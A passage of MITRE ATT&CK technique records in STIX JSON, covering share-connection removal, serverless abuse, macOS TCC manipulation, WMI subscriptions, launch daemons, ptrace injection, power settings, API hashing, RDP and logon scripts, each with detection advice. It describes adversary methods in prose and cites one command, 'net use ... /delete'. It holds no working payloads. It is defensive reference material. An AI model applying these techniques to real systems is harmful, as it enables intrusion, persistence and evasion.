Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\\\system\\share /delete</code> command. (Citation: Technet Net Use)\n\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of <code>net use</code> commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Host forensic analysis"], "x_mitre_permissions_required": ["Administrator", "User"], "x_mitre_system_requirements": ["Established network share connection to a remote system. Level of access depends on permissions of the account used."], "x_mitre_is_subtechnique": false}, {"modified": "2024-03-05T16:13:38.643Z", "name": "Serverless Execution", "description": "Adversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers. \n\nAdversaries may abuse these resources in various ways as a means of executing arbitrary commands. For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. [Resource Hijacking](https://attack.mitre.org/techniques/T1496)).(Citation: Cado Security Denonia) Adversaries may also create functions that enable further compromise of the cloud environment. For example, an adversary may use the `IAM:PassRole` permission in AWS or the `iam.serviceAccounts.actAs` permission in Google Cloud to add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to a serverless cloud function, which may then be able to perform actions the original user cannot.(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Rhingo Security Labs GCP Privilege Escalation)\n\nServerless functions can also be invoked in response to cloud events (i.e. [Event Triggered Execution](https://attack.mitre.org/techniques/T1546)), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created.(Citation: Backdooring an AWS account) Similarly, an adversary may create a Power Automate workflow in Office 365 environments that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint.(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_contributors": ["Shailesh Tiwary (Indian Army)", "Praetorian", "Oleg Kolesnikov, Securonix", "Cisco", "Varonis Threat Labs", "Alex Soler, AttackIQ", "Vectra AI"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["SaaS", "IaaS", "Office 365"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Cloud Service: Cloud Service Modification", "Application Log: Application Log Content"], "x_mitre_remote_support": false, "type": "attack-pattern", "id": "attack-pattern--e848506b-8484-4410-8017-3d235a52f5b3", "created": "2022-05-27T13:19:51.112Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1648", "external_id": "T1648"}, {"source_name": "Microsoft DART Case Report 001", "description": "Berk Veral. (2020, March 9). Real-life cybercrime stories from DART, the Microsoft Detection and Response Team. Retrieved May 27, 2022.", "url": "https://www.microsoft.com/security/blog/2020/03/09/real-life-cybercrime-stories-dart-microsoft-detection-and-response-team"}, {"source_name": "Backdooring an AWS account", "description": "Daniel Grzelak. (2016, July 9). Backdooring an AWS account. Retrieved May 27, 2022.", "url": "https://medium.com/daniel-grzelak/backdooring-an-aws-account-da007d36f8f9"}, {"source_name": "Varonis Power Automate Data Exfiltration", "description": "Eric Saraga. (2022, February 2). Using Power Automate for Covert Data Exfiltration in Microsoft 365. Retrieved May 27, 2022.", "url": "https://www.varonis.com/blog/power-automate-data-exfiltration"}, {"source_name": "Cado Security Denonia", "description": "Matt Muir. (2022, April 6). Cado Discovers Denonia: The First Malware Specifically Targeting Lambda. Retrieved May 27, 2022.", "url": "https://www.cadosecurity.com/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda/"}, {"source_name": "Rhino Security Labs AWS Privilege Escalation", "description": "Rhino Security Labs. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.", "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"}, {"source_name": "Rhingo Security Labs GCP Privilege Escalation", "description": "Spencer Gietzen. (n.d.). Privilege Escalation in Google Cloud Platform \u2013 Part 1 (IAM). Retrieved May 27, 2022.", "url": "https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-17T00:02:12.021Z", "name": "TCC Manipulation", "description": "Adversaries can manipulate or abuse the Transparency, Consent, & Control (TCC) service or database to execute malicious applications with elevated permissions. TCC is a Privacy & Security macOS control mechanism used to determine if the running process has permission to access the data or services protected by TCC, such as screen sharing, camera, microphone, or Full Disk Access (FDA).\n\nWhen an application requests to access data or a service protected by TCC, the TCC daemon (`tccd`) checks the TCC database, located at `/Library/Application Support/com.apple.TCC/TCC.db` (and `~/` equivalent), for existing permissions. If permissions do not exist, then the user is prompted to grant permission. Once permissions are granted, the database stores the application's permissions and will not prompt the user again unless reset. For example, when a web browser requests permissions to the user's webcam, once granted the web browser may not explicitly prompt the user again.(Citation: welivesecurity TCC)\n\nAdversaries may manipulate the TCC database or otherwise abuse the TCC service to execute malicious content. This can be done in various ways, including using privileged system applications to execute malicious payloads or manipulating the database to grant their application TCC permissions. \n\nFor example, adversaries can use Finder, which has FDA permissions by default, to execute malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002) while preventing a user prompt. For a system without System Integrity Protection (SIP) enabled, adversaries have also manipulated the operating system to load an adversary controlled TCC database using environment variables and [Launchctl](https://attack.mitre.org/techniques/T1569/001).(Citation: TCC macOS bypass)(Citation: TCC Database)\n\nAdversaries may also opt to instead inject code (e.g., [Process Injection](https://attack.mitre.org/techniques/T1055)) into targeted applications with the desired TCC permissions.\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Marina Liang"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["macOS"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Command: Command Execution", "File: File Modification", "Process: Process Creation"], "type": "attack-pattern", "id": "attack-pattern--e8a0a025-3601-4755-abfb-8d08283329fb", "created": "2024-03-21T21:10:57.322Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1548/006", "external_id": "T1548.006"}, {"source_name": "welivesecurity TCC", "description": "Marc-Etienne M.L\u00e9veill\u00e9. (2022, July 19). I see what you did there: A look at the CloudMensis macOS spyware. Retrieved March 21, 2024.", "url": "https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/"}, {"source_name": "TCC Database", "description": "Marina Liang. (2024, April 23). Return of the mac(OS): Transparency, Consent, and Control (TCC) Database Manipulation. Retrieved March 28, 2024.", "url": "https://interpressecurity.com/resources/return-of-the-macos-tcc/"}, {"source_name": "TCC macOS bypass", "description": "Phil Stokes. (2021, July 1). Bypassing macOS TCC User Privacy Protections By Accident and Design. Retrieved March 21, 2024.", "url": "https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4", "type": "attack-pattern", "created": "2017-05-31T21:31:05.140Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1084", "url": "https://attack.mitre.org/techniques/T1084"}, {"url": "https://www.secureworks.com/blog/wmi-persistence", "description": "Dell SecureWorks Counter Threat Unit\u2122 (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.", "source_name": "Dell WMI Persistence"}, {"url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf", "description": "Kazanciyan, R. & Hastings, M. (2014). Defcon 22 Presentation. Investigating PowerShell Attacks &#91;slides&#93;. Retrieved November 3, 2014.", "source_name": "Kazanciyan 2014"}, {"url": "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf", "description": "Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016.", "source_name": "Mandiant M-Trends 2015"}, {"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", "source_name": "TechNet Autoruns"}, {"description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.", "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96", "source_name": "Medium Detecting WMI Persistence"}], "modified": "2020-01-24T14:08:23.156Z", "name": "Windows Management Instrumentation Event Subscription", "description": "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence)", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1160", "url": "https://attack.mitre.org/techniques/T1160"}, {"url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.", "source_name": "AppleDocs Launch Agent Daemons"}, {"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", "source_name": "Methods of Mac Malware Persistence"}, {"url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf", "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.", "source_name": "OSX Malware Detection"}, {"url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf", "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.", "source_name": "WireLurker"}], "modified": "2020-03-19T15:08:50.043Z", "name": "Launch Daemon", "description": "Per Apple\u2019s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software  (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon\u2019s executable and gain persistence or Privilege Escalation.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator"], "x_mitre_effective_permissions": ["root"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Linux"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f", "type": "attack-pattern", "created": "2020-01-14T01:33:19.065Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1055.008", "url": "https://attack.mitre.org/techniques/T1055/008"}, {"source_name": "PTRACE man", "url": "http://man7.org/linux/man-pages/man2/ptrace.2.html", "description": "Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's Manual. Retrieved February 21, 2020."}, {"source_name": "Medium Ptrace JUL 2018", "url": "https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be", "description": "Jain, S. (2018, July 25). Code injection in running process using ptrace. Retrieved February 21, 2020."}, {"source_name": "BH Linux Inject", "url": "https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf", "description": "Colgan, T. (2015, August 15). Linux-Inject. Retrieved February 21, 2020."}, {"description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.", "source_name": "ArtOfMemoryForensics"}, {"url": "https://www.gnu.org/software/acct/", "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.", "source_name": "GNU Acct"}, {"url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing", "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.", "source_name": "RHEL auditd"}, {"url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html", "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.", "source_name": "Chokepoint preload rootkits"}], "modified": "2021-10-18T12:26:31.766Z", "name": "Ptrace System Calls", "description": "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: <code>malloc</code>) then invoking that memory with <code>PTRACE_SETREGS</code> to set the register containing the next instruction to execute. Ptrace system call injection can also be done with <code>PTRACE_POKETEXT</code>/<code>PTRACE_POKEDATA</code>, which copy data to a specific address in the target processes\u2019 memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)  (Citation: GNU Acct)  (Citation: RHEL auditd)  (Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: OS API Execution", "Process: Process Access", "Process: Process Modification"], "x_mitre_defense_bypassed": ["Anti-virus", "Application control"]}, {"modified": "2023-09-30T21:28:45.038Z", "name": "Power Settings", "description": "Adversaries may impair a system's ability to hibernate, reboot, or shut down in order to extend access to infected machines. When a computer enters a dormant state, some or all software and hardware may cease to operate which can disrupt malicious activity.(Citation: Sleep, shut down, hibernate)\n\nAdversaries may abuse system utilities and configuration settings to maintain access by preventing machines from entering a state, such as standby, that can terminate malicious activity.(Citation: Microsoft: Powercfg command-line options)(Citation: systemdsleep Linux)\n\nFor example, `powercfg` controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.(Citation: Two New Monero Malware Attacks Target Windows and Android Users) Adversaries may also extend system lock screen timeout settings.(Citation: BATLOADER: The Evasive Downloader Malware) Other relevant settings, such as disk and hibernate timeout, can be similarly abused to keep the infected machine running even if no user is active.(Citation: CoinLoader: A Sophisticated Malware Loader Campaign)\n\nAware that some malware cannot survive system reboots, adversaries may entirely delete files used to invoke system shut down or reboot.(Citation: Condi-Botnet-binaries)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_contributors": ["Goldstein Menachem", "Juan Tapiador"], "x_mitre_deprecated": false, "x_mitre_detection": "Command-line invocation of tools capable of modifying services may be unusual and can be monitored for and alerted on, depending on how systems are typically used in a particular environment. \n", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "Linux", "macOS", "Network"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["File: File Modification", "Command: Command Execution"], "type": "attack-pattern", "id": "attack-pattern--ea071aa0-8f17-416f-ab0d-2bab7e79003d", "created": "2023-06-05T15:52:52.467Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1653", "external_id": "T1653"}, {"source_name": "Sleep, shut down, hibernate", "description": "AVG. (n.d.). Should You Shut Down, Sleep or Hibernate Your PC or Mac Laptop?. Retrieved June 8, 2023.", "url": "https://www.avg.com/en/signal/should-you-shut-down-sleep-or-hibernate-your-pc-or-mac-laptop"}, {"source_name": "CoinLoader: A Sophisticated Malware Loader Campaign", "description": "Avira. (2019, November 28). CoinLoader: A Sophisticated Malware Loader Campaign. Retrieved June 5, 2023.", "url": "https://www.avira.com/en/blog/coinloader-a-sophisticated-malware-loader-campaign"}, {"source_name": "BATLOADER: The Evasive Downloader Malware", "description": "Bethany Hardin, Lavine Oluoch, Tatiana Vollbrecht. (2022, November 14). BATLOADER: The Evasive Downloader Malware. Retrieved June 5, 2023.", "url": "https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html"}, {"source_name": "Two New Monero Malware Attacks Target Windows and Android Users", "description": "Douglas Bonderud. (2018, September 17). Two New Monero Malware Attacks Target Windows and Android Users. Retrieved June 5, 2023.", "url": "https://securityintelligence.com/news/two-new-monero-malware-attacks-target-windows-and-android-users/"}, {"source_name": "Condi-Botnet-binaries", "description": "Joie Salvio and Roy Tay. (2023, June 20). Condi DDoS Botnet Spreads via TP-Link's CVE-2023-1389. Retrieved September 5, 2023.", "url": "https://www.fortinet.com/blog/threat-research/condi-ddos-botnet-spreads-via-tp-links-cve-2023-1389"}, {"source_name": "systemdsleep Linux", "description": "Man7. (n.d.). systemd-sleep.conf(5) \u2014 Linux manual page. Retrieved June 7, 2023.", "url": "https://man7.org/linux/man-pages/man5/systemd-sleep.conf.5.html"}, {"source_name": "Microsoft: Powercfg command-line options", "description": "Microsoft. (2021, December 15). Powercfg command-line options. Retrieved June 5, 2023.", "url": "https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/powercfg-command-line-options?adlt=strict"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--ea4c2f9c-9df1-477c-8c42-6da1118f2ac4", "created": "2022-08-22T20:42:08.498Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1027.007", "url": "https://attack.mitre.org/techniques/T1027/007"}, {"source_name": "Huntress API Hash", "url": "https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection", "description": "Brennan, M. (2022, February 16). Hackers No Hashing: Randomizing API Hashes to Evade Cobalt Strike Shellcode Detection. Retrieved August 22, 2022."}, {"source_name": "BlackHat API Packers", "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Choi-API-Deobfuscator-Resolving-Obfuscated-API-Functions-In-Modern-Packers.pdf", "description": "Choi, S. (2015, August 6). Obfuscated API Functions in Modern Packers. Retrieved August 22, 2022."}, {"source_name": "Drakonia HInvoke", "url": "https://dr4k0nia.github.io/dotnet/coding/2022/08/10/HInvoke-and-avoiding-PInvoke.html?s=03", "description": "drakonia. (2022, August 10). HInvoke and avoiding PInvoke. Retrieved August 22, 2022."}, {"source_name": "IRED API Hashing", "url": "https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware", "description": "spotheplanet. (n.d.). Windows API Hashing in Malware. Retrieved August 22, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may obfuscate then dynamically resolve API functions called by their malware in order to conceal malicious functionalities and impair defensive analysis. Malware commonly uses various [Native API](https://attack.mitre.org/techniques/T1106) functions provided by the OS to perform various tasks such as those involving processes, files, and other system artifacts.\n\nAPI functions called by malware may leave static artifacts such as strings in payload files. Defensive analysts may also uncover which functions a binary file may execute via an import address table (IAT) or other structures that help dynamically link calling code to the shared modules that provide functions.(Citation: Huntress API Hash)(Citation: IRED API Hashing)\n\nTo avoid static or other defensive analysis, adversaries may use dynamic API resolution to conceal malware characteristics and functionalities. Similar to [Software Packing](https://attack.mitre.org/techniques/T1027/002), dynamic API resolution may change file signatures and obfuscate malicious API function calls until they are resolved and invoked during runtime.\n\nVarious methods may be used to obfuscate malware calls to API functions. For example, hashes of function names are commonly stored in malware in lieu of literal strings. Malware can use these hashes (or other identifiers) to manually reproduce the linking and loading process using functions such as `GetProcAddress()` and `LoadLibrary()`. These hashes/identifiers can also be further obfuscated using encryption or other string manipulation tricks (requiring various forms of [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) during execution).(Citation: BlackHat API Packers)(Citation: Drakonia HInvoke)(Citation: Huntress API Hash)", "modified": "2022-08-23T18:32:46.899Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Dynamic API Resolution", "x_mitre_detection": "", "kill_chain_phases": [{"phase_name": "defense-evasion", "kill_chain_name": "mitre-attack"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Module: Module Load", "File: File Metadata", "Process: OS API Execution"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-08-07T14:23:30.265Z", "name": "Remote Desktop Protocol", "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.\n\nRemote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) \n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) or [Terminal Services DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation: Alperovitch Malware)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_contributors": ["Matthew Demaske, Adaptforward"], "x_mitre_deprecated": false, "x_mitre_detection": "Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Logon Session: Logon Session Creation", "Network Traffic: Network Connection Creation", "Process: Process Creation", "Logon Session: Logon Session Metadata"], "x_mitre_system_requirements": ["RDP service enabled, account in the Remote Desktop Users group"], "type": "attack-pattern", "id": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", "created": "2020-02-11T18:23:26.059Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1021/001", "external_id": "T1021.001"}, {"source_name": "Alperovitch Malware", "description": "Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014.", "url": "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/"}, {"source_name": "TechNet Remote Desktop Services", "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.", "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3", "type": "attack-pattern", "created": "2020-01-10T03:43:37.211Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1037.001", "url": "https://attack.mitre.org/techniques/T1037/001"}, {"url": "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx", "description": "Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016.", "source_name": "TechNet Logon Scripts"}, {"source_name": "Hexacorn Logon Scripts", "url": "http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/", "description": "Hexacorn. (2014, November 14). Beyond good ol\u2019 Run key, Part 18. Retrieved November 15, 2019."}], "modified": "2020-03-24T23:45:03.153Z", "name": "Logon Script (Windows)", "description": "Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the <code>HKCU\\Environment\\UserInitMprLogonScript</code> Registry key.(Citation: Hexacorn Logon Scripts)\n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Monitor for changes to Registry values associated with Windows logon scrips, nameley 